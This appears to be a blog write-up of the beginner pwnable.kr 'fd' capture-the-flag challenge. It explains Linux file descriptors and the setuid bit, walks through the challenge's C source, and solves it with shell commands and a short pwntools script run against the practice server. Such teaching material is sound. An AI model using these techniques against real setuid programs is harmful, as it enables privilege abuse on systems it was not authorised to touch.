Pwnable.kr - FD

— Written by — 5 min read

fd

One of my objective in 2020 is to level up in Reverse Engineering. Since I am starting from zero I got few people recommend http://pwnable.kr which appear to have a reasonable curve of difficulty making it ideal for learning.

If you have other recommandations for good ressources to learn and practices Reverse Engineering feels free to let me know below in a comment or contact me ;)

That being said, here is my write-up for the first challenge of pwnable.kr: FD.

Let’s go!


Challenge Description

FD

Mommy! what is a file descriptor in Linux?
ssh fd@pwnable.kr -p2222 (pw:guest)

This gives us an SSH access to a box with a hint that this challenge is going to be about File Descriptor

File Descriptor

In Unix a file descriptor is abstract indicator (handle) used to access a file or other input/output resource. A file descriptor is a non-negative integer, generally represented in the C programming language as the type int.

You are surely familiar with the three most common file descriptor:

  • 0 - stdin (Standard Input)
  • 1 - stdout (Standard Output)
  • 2 - stderr (Standard Error)

But file descriptor goes farther than that. To make it simple, file descriptor are used when you open a file.
When you do so, the OS will store the information about this file in a table entry. Theses table entries are represented with integers. The entry number is the file descriptor.

Source Code Analysis

The first thing we notice when connecting to the box is that code source of the challenge is available:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[hg8@archbook ~]$ ssh [email protected] -p2222
[email protected]'s password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|

Last login: Sun May 3 10:21:23 2020 from 93.172.62.192
fd@pwnable:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag

Let’s a take a look to understand what it’s doing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

Let’s break things down. The first information we get is that the app need an extra arguments in a form of a number:

1
2
3
4
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}

With the name of the challenge we can guess that is number will probably be a file descriptor.

Next we -almost- have a confirmation of this theory. 0x1234 (4660) gets subtracted to integer we passed as argument to get the actual file descriptor:

1
int fd = atoi( argv[1] ) - 0x1234;

Note: Here is a quick way to convert hexadecimal to decimal: echo $((16#1234))

Then the read function is used to, well, read the file pointed by the file descriptor and store the content in the buf variable:

1
len = read(fd, buf, 32);

The buf variable gets check to see if it contains the string LETMEWIN\n:

1
if(!strcmp("LETMEWIN\n", buf)){

If it does, then the program print out the flag:

1
2
3
4
5
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}

But you might wonder own the binary get print the flag since it’s owned by root ? It’s because the binary have the SUID bit set:

1
2
3
fd@pwnable:~$ ls -l fd
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
^

As a reminder:

setuidis is a Unix access rights flag that allow users to run an executable with the permissions of the executable’s owner. They are often used to allow users to run programs with temporarily elevated privileges in order to perform a specific task.

Thanks to this bit, the fd binary will run as with root privileges and will be allow to access the flag file.

Alright I think we now have all the needed informations to get the flag right ? To summarize:

  1. Create a file containing LETMEWIN\n
  2. Get the file descriptor of this file
  3. Subtract 4660 from this file descriptor
  4. Use this result as a command line argument: ./fd xxx

Doesn’t look that scary. Let’s put it in practice now :)

Exploitation

Method 1

First, we create our file. Let’s use printf to make sure the newline gets included:

1
2
3
fd@pwnable:~$ printf "LETMEWIN\n" > /tmp/.hg8
fd@pwnable:~$ cat -e /tmp/.hg8
LETMEWIN$

Then we need to assign a file descriptor to our newly created file. It’s possible to do so using exec X < filename:

1
fd@pwnable:~$ exec 10</tmp/.hg8

Final step is to add 4660 to the file descriptor we chose and pass it as a argument to the fd binary:

1
2
3
fd@pwnable:~$ ./fd 4670
good job :)
mommy! I think I know what a file descriptor is!!

We also know that one of the most common file descriptor is 0 which correspond to the standard input. If we use 4660 as an argument, the binary will compare LETMEWIN\n to the content in the file descriptor 0 which is the standard input. If everything goes fine we should be able to directly write our “secret” code there.

Let’s give it a try:

1
2
fd@pwnable:~$ ./fd 4660

We get a blank line with no error messages, let’s type LETMEWIN then enter:

1
2
3
4
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

Exploitation with pwntools

A simple challenge like this one is a good occasion to try our hand on pwntools which can probably comes very useful in the future.

Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

After installing the tool let’s create a simple script to solve the challenge.

First let’s connect to the server:

1
2
3
from pwn import *

server = ssh('fd', 'pwnable.kr', 2222, 'guest')

Pop a shell and run ./fd process with 4660 as argument, and then send the LETMEIN secret:

1
2
shell = server.process(['./fd', str(4660)])
shell.sendline('LETMEWIN')

After closing the connection and printing the result the final script looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python

from pwn import *

server = ssh('fd', 'pwnable.kr', 2222, 'guest')
shell = server.process(['./fd', str(4660)])
shell.sendline('LETMEWIN')
result = shell.recvall()
shell.close()
server.close()

print(result.decode("utf-8"))

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[hg8@archbook ~]$ python exploit.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] [email protected]:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.179
ASLR: Enabled
[+] Starting remote process './fd' on pwnable.kr: pid 266951
[+] Receiving all data: Done (62B)
[*] Stopped remote process 'fd' on pwnable.kr (pid 266951)
[*] Closed connection to 'pwnable.kr'
good job :)
mommy! I think I know what a file descriptor is!!

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFpwnableToddler's Bottle
, ,